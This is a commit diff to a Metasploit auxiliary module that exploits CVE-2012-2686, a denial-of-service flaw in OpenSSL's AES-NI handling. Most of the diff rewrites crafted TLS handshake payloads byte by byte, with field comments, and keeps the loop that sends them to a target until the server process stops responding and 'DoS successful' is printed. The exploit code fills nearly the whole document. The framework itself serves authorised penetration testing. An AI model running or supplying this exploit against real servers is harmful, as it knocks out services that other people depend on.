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Beautified OpenSSL-AESNI module
Modifed the CVE-2012-2686 module to follow suggestions by @jvazquez-r7: * Added description for all fields in the SSL packets * MAX_TRIES now required * use get_once instead of timeout
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‎modules/auxiliary/dos/ssl/openssl_aesni.rb

Lines changed: 98 additions & 68 deletions
Original file line numberDiff line numberDiff line change
@@ -17,8 +17,8 @@ def initialize(info = {})
1717
'Author' => [
1818
'Wolfgang Ettlinger <wolfgang.ettlinger[at]gmail.com>'
1919
],
20-
'License' => BSD_LICENSE,
21-
'References' =>
20+
'License' => BSD_LICENSE,
21+
'References' =>
2222
[
2323
[ 'CVE', '2012-2686'],
2424
[ 'URL', 'https://www.openssl.org/news/secadv_20130205.txt']
@@ -28,74 +28,105 @@ def initialize(info = {})
2828
register_options(
2929
[
3030
Opt::RPORT(443),
31-
OptInt.new('MAX_TRIES', [false, "Maximum number of tries", 300])
31+
OptInt.new('MAX_TRIES', [true, "Maximum number of tries", 300])
3232
], self.class)
3333
end
3434

3535
def run
3636
# Client Hello
37-
p1 =
38-
"\x16\x03\x01\x00\x7e\x01\x00\x00\x7a\x03\x02\x50\xeb\xf2\x4a\xaf"<<
39-
"\x74\xf5\xe3\x55\x6a\xae\xcf\x88\x36\x7c\xd9\xe5\x1b\xcc\x09\xee"<<
40-
"\x6f\x42\x30\x3b\x49\x55\xf8\xaa\x11\x32\xeb\x00\x00\x08\xc0\x13"<<
41-
"\x00\x39\x00\x35\x00\xff\x01\x00\x00\x49\x00\x0b\x00\x04\x03\x00"<<
42-
"\x01\x02\x00\x0a\x00\x34\x00\x32\x00\x0e\x00\x0d\x00\x19\x00\x0b"<<
43-
"\x00\x0c\x00\x18\x00\x09\x00\x0a\x00\x16\x00\x17\x00\x08\x00\x06"<<
44-
"\x00\x07\x00\x14\x00\x15\x00\x04\x00\x05\x00\x12\x00\x13\x00\x01"<<
45-
"\x00\x02\x00\x03\x00\x0f\x00\x10\x00\x11\x00\x23\x00\x00\x00\x0f"<<
46-
"\x00\x01\x01"
37+
p1 = "\x16" # Content Type: Handshake
38+
p1 << "\x03\x01" # Version: TLS 1.0
39+
p1 << "\x00\x7e" # Length: 126
40+
p1 << "\x01" # Handshake Type: Client Hello
41+
p1 << "\x00\x00\x7a" # Length: 122
42+
p1 << "\x03\x02" # Version: TLS 1.1
43+
p1 << ("A" * 32) # Random
44+
p1 << "\x00" # Session ID Length: 0
45+
p1 << "\x00\x08" # Cypher Suites Length: 6
46+
p1 << "\xc0\x13" # - ECDHE-RSA-AES128-SHA
47+
p1 << "\x00\x39" # - DHE-RSA-AES256-SHA
48+
p1 << "\x00\x35" # - AES256-SHA
49+
p1 << "\x00\xff" # - EMPTY_RENEGOTIATION_INFO_SCSV
50+
p1 << "\x01" # Compression Methods Length: 1
51+
p1 << "\x00" # - NULL-Compression
52+
p1 << "\x00\x49" # Extensions Length: 73
53+
p1 << "\x00\x0b" # - Extension: ec_point_formats
54+
p1 << "\x00\x04" # Length: 4
55+
p1 << "\x03" # EC Points Format Length: 3
56+
p1 << "\x00" # - uncompressed
57+
p1 << "\x01" # - ansiX962_compressed_prime
58+
p1 << "\x02" # - ansiX962_compressed_char2
59+
p1 << "\x00\x0a" # - Extension: elliptic_curves
60+
p1 << "\x00\x34" # Length: 52
61+
p1 << "\x00\x32" # Elliptic Curves Length: 50
62+
# 25 Elliptic curves:
63+
p1 << "\x00\x0e\x00\x0d\x00\x19\x00\x0b\x00\x0c\x00\x18\x00\x09\x00\x0a"
64+
p1 << "\x00\x16\x00\x17\x00\x08\x00\x06\x00\x07\x00\x14\x00\x15\x00\x04"
65+
p1 << "\x00\x05\x00\x12\x00\x13\x00\x01\x00\x02\x00\x03\x00\x0f\x00\x10"
66+
p1 << "\x00\x11"
67+
68+
p1 << "\x00\x23" # - Extension: SessionTicket TLS
69+
p1 << "\x00\x00" # Length: 0
70+
p1 << "\x00\x0f" # - Extension: Heartbeat
71+
p1 << "\x00\x01" # Length: 1
72+
p1 << "\x01" # Peer allowed to send requests
73+
74+
75+
# Change Cipher Spec Message
76+
p2_cssm = "\x14" # Content Type: Change Cipher Spec
77+
p2_cssm << "\x03\x02" # Version: TLS 1.1
78+
p2_cssm << "\x00\x01" # Length: 1
79+
p2_cssm << "\x01" # Change Cipher Spec Message
80+
81+
82+
# Encrypted Handshake Message
83+
p2_ehm = "\x16" # Content Type: Handshake
84+
p2_ehm << "\x03\x02" # Version: TLS 1.1
85+
p2_ehm << "\x00\x40" # Length: 64
86+
p2_ehm << ("A" * 64) # Encrypted Message
87+
4788

4889
# Client Key Exchange, Change Cipher Spec, Encrypted Handshake
4990
# AES256-SHA
50-
p2_aes_sha =
51-
"\x16\x03\x02\x01\x06\x10\x00\x01\x02\x01\x00\x4c\xee\x18\xe2\xec"<<
52-
"\xa9\x9d\xd7\x10\xd0\xff\x6f\xa8\x10\xf5\x9c\xa0\x91\x38\x93\x93"<<
53-
"\xaa\x71\x07\x69\xb6\x22\x81\x2d\xcd\xe0\x8f\x95\xf2\x9b\xaa\x49"<<
54-
"\x18\x15\x53\xc3\x34\x15\x81\xab\x20\x72\x16\x5b\xf2\xca\x13\x9e"<<
55-
"\x11\x6e\x3c\xf5\x71\x7c\x19\xf4\x7d\x35\x71\x25\x6e\xbe\xee\xdf"<<
56-
"\x1d\x55\xc9\x38\xac\xbb\x88\xab\xd0\x18\x7d\x5f\xaa\x3c\x91\x2f"<<
57-
"\xd2\x64\x7c\x15\x91\xa6\xe7\xb7\x0c\x01\xb3\xc7\x37\xc1\x3a\xb2"<<
58-
"\xde\x59\x6e\x8f\x7a\xde\x22\x59\x6c\xb7\x91\x21\x8f\xff\x56\x2c"<<
59-
"\x5f\xfb\x54\x7f\xd1\x1a\x00\x0e\x02\xb2\x4e\x62\xfd\xe2\xc0\x8f"<<
60-
"\x56\x52\x8a\x4c\x44\x01\x5f\x21\xf9\xd5\xb3\xeb\xab\x39\xcf\x4e"<<
61-
"\xed\x78\xad\xea\xc7\x43\x80\x3f\xf2\x41\xbe\x5c\x83\xa5\x54\x6f"<<
62-
"\x3c\xfb\x15\xed\x3c\x83\xf0\x3b\xd2\x7c\x5d\xf6\x82\xcb\x82\xb6"<<
63-
"\x6a\x8e\x94\xf9\x22\x5a\x17\x20\x82\x21\x4e\x83\x01\x81\x06\x9e"<<
64-
"\x21\xba\x16\xa4\xda\xcd\x8e\x1c\x8c\xe7\x19\x96\x2a\xec\x90\x6a"<<
65-
"\x16\xac\x12\x68\xbd\xf7\x4b\x6c\x3c\x91\x8b\xe7\x34\x03\x91\x65"<<
66-
"\x61\x57\xbc\x3a\x66\x3b\x7b\xb1\x57\xcd\x19\x5c\x4a\x69\x43\xb2"<<
67-
"\x67\xaf\x38\x5c\x1a\x7e\x80\x78\x90\x25\xb8\x14\x03\x02\x00\x01"<<
68-
"\x01\x16\x03\x02\x00\x40\x7d\xf4\x2c\x8c\x64\x74\xa5\x98\x02\x41"<<
69-
"\xac\x97\xfd\x53\x15\x4c\xbf\x16\x08\x26\xe0\x6c\x22\x70\x5f\x36"<<
70-
"\x75\x75\x96\xf9\x6b\x9f\xb4\xc3\x38\xa7\x14\xac\x21\x89\xec\xd6"<<
71-
"\x37\x28\xf3\x0d\xdf\xb3\x1b\xac\x96\xf3\x16\x5c\xc3\x6b\x71\x1c"<<
72-
"\xdb\x0d\x04\x96\x21\xd2"
91+
p2_aes_sha = "\x16" # Content Type: Handshake
92+
p2_aes_sha << "\x03\x02" # Version: TLS 1.1
93+
p2_aes_sha << "\x01\x06" # Length: 262
94+
p2_aes_sha << "\x10" # Handshake Type: Client Key Exchange
95+
p2_aes_sha << "\x00\x01\x02" # Length: 258
96+
p2_aes_sha << "\x01\x00" # Encrypted PreMaster Length: 256
97+
p2_aes_sha << ("\x00" * 256) # Encrypted PresMaster (irrelevant)
98+
p2_aes_sha << p2_cssm # Change Cipher Spec Message
99+
p2_aes_sha << p2_ehm # Encrypted Handshake Message
100+
73101

74102
# DHE-RSA-AES256-SHA
75-
p2_dhe_rsa_aes256_sha =
76-
"\x16\x03\x02\x00\x46\x10\x00\x00\x42\x00\x40\x43\xaf\x48\x16\x8d"<<
77-
"\x17\xb9\xb0\xb6\xbc\x68\xab\x99\xf9\x30\xc9\xb1\xa2\x3b\x4f\x79"<<
78-
"\xaa\x76\x5c\x0d\x61\xa0\x19\x55\x11\x20\xe8\xbb\xab\x69\xf3\xeb"<<
79-
"\xff\x81\x1d\x16\x0d\x03\xaf\xb9\x70\xae\x72\x5c\xd8\xc7\x28\x2c"<<
80-
"\xac\xd5\x84\x2c\xaf\x2a\x57\x46\x71\xca\x73\x14\x03\x02\x00\x01"<<
81-
"\x01\x16\x03\x02\x00\x40\xff\x62\x0f\x7a\xb2\x79\xfe\x78\xce\xb9"<<
82-
"\xde\xc4\xef\x66\x2f\xed\x1a\x37\xfe\x47\xdd\xde\x9c\xe0\x42\xbc"<<
83-
"\x93\x20\x65\x05\xd3\x50\x14\x1c\x6c\xb1\x7a\x3a\x7d\x91\x92\xbb"<<
84-
"\x9d\x42\x78\xbf\xe4\x08\xa0\xfd\x9c\xeb\x24\x29\x3b\xed\xc8\x54"<<
85-
"\x3d\xd3\xa2\xff\xb0\x8b"
103+
p2_dhe = "\x16" # Content Type: Handshake
104+
p2_dhe << "\x03\x02" # Version: TLS 1.1
105+
p2_dhe << "\x00\x46" # Length: 70
106+
p2_dhe << "\x10" # Handshake Type: Client Key Exchange
107+
p2_dhe << "\x00\x00\x42" # Length: 66
108+
p2_dhe << "\x00\x40" # DH Pubkey Length: 64
109+
p2_dhe << ("A" * 64) # DH Pubkey
110+
p2_dhe << p2_cssm # Change Cipher Spec Message
111+
p2_dhe << p2_ehm # Encrypted Handshake Message
112+
86113

87114
# ECDHE-RSA-AES128-SHA
88-
p2_ecdhe_rsa_aes128_sha =
89-
"\x16\x03\x02\x00\x46\x10\x00\x00\x42\x41\x04\x2f\x22\xf4\x06\x3f"<<
90-
"\xa1\xf7\x3d\xb6\x55\xbc\x68\x65\x57\xd8\x03\xe5\xaa\x36\xeb\x0f"<<
91-
"\x52\x5a\xaf\xd0\x9f\xf8\xc7\xfe\x09\x69\x5b\x38\x95\x58\xb6\x0d"<<
92-
"\x27\x53\xe9\x63\xcb\x96\xb3\x54\x47\xa6\xb2\xe6\x8b\x2a\xd9\x03"<<
93-
"\xb4\x85\x46\xd9\x1c\x5f\xd1\xf7\x7b\x73\x40\x14\x03\x02\x00\x01"<<
94-
"\x01\x16\x03\x02\x00\x40\x8c\xc6\x4d\xdc\x42\x03\x64\xa3\xc0\xf4"<<
95-
"\x94\xda\xa4\x12\x68\x78\xfd\x5b\x44\xaf\xa3\x91\x63\x75\x26\x93"<<
96-
"\x14\xad\x86\xa7\x4f\x5a\x2e\xcb\x13\x17\xb7\xdf\x67\x64\x1b\x10"<<
97-
"\xc3\x9f\x68\xaf\x92\x38\xbf\x67\xc6\x18\x5b\x78\xc9\x99\xc3\x70"<<
98-
"\x89\x09\xe2\x3f\x3e\x1f"
115+
p2_ecdhe = "\x16" # Content Type: Handshake
116+
p2_ecdhe << "\x03\x02" # Version: TLS 1.1
117+
p2_ecdhe << "\x00\x46" # Length: 70
118+
p2_ecdhe << "\x10" # Handshake Type: Client Key Exchange
119+
p2_ecdhe << "\x00\x00\x42" # Length: 66
120+
p2_ecdhe << "\x41" # EC DH Pubkey Length: 65
121+
# EC DH Pubkey:
122+
p2_ecdhe << "\x04\x2f\x22\xf4\x06\x3f\xa1\xf7\x3d\xb6\x55\xbc\x68\x65\x57\xd8"
123+
p2_ecdhe << "\x03\xe5\xaa\x36\xeb\x0f\x52\x5a\xaf\xd0\x9f\xf8\xc7\xfe\x09\x69"
124+
p2_ecdhe << "\x5b\x38\x95\x58\xb6\x0d\x27\x53\xe9\x63\xcb\x96\xb3\x54\x47\xa6"
125+
p2_ecdhe << "\xb2\xe6\x8b\x2a\xd9\x03\xb4\x85\x46\xd9\x1c\x5f\xd1\xf7\x7b\x73"
126+
p2_ecdhe << "\x40"
127+
p2_ecdhe << p2_cssm # Change Cipher Spec Message
128+
p2_ecdhe << p2_ehm # Encrypted Handshake Message
129+
99130

100131
maxtries = datastore['MAX_TRIES']
101132

@@ -112,9 +143,9 @@ def run
112143
cs = get_cipher_suite(resp)
113144

114145
if cs == 0xc013 # ECDHE-RSA-AES128-SHA
115-
p2 = p2_ecdhe_rsa_aes128_sha
146+
p2 = p2_ecdhe
116147
elsif cs == 0x0039 # DHE-RSA-AES256-SHA
117-
p2 = p2_dhe_rsa_aes256_sha
148+
p2 = p2_dhe
118149
elsif cs == 0x0035 # AES256-SHA
119150
p2 = p2_aes_sha
120151
else
@@ -126,17 +157,16 @@ def run
126157

127158
alert = nil
128159

129-
timeout(2) do
130-
alert = sock.recv(4096)
131-
end
132-
133-
disconnect
134-
135-
if alert == ''
160+
begin
161+
alert = sock.get_once(-1, 2)
162+
rescue EOFError
136163
print_status("DoS successful. process on #{rhost} did not respond.")
137164
success = true
138165
break
139166
end
167+
168+
disconnect
169+
140170
end
141171

142172
if success == false
@@ -157,7 +187,7 @@ def get_cipher_suite(resp)
157187
len = (resp[offset+3, 2]).unpack("n")[0]
158188
hstype = (resp[offset+5, 1]).unpack("C")[0]
159189

160-
if hstype == 2
190+
if hstype == 2 # Server Hello
161191
return (resp[offset+44, 2]).unpack("n")[0]
162192
end
163193

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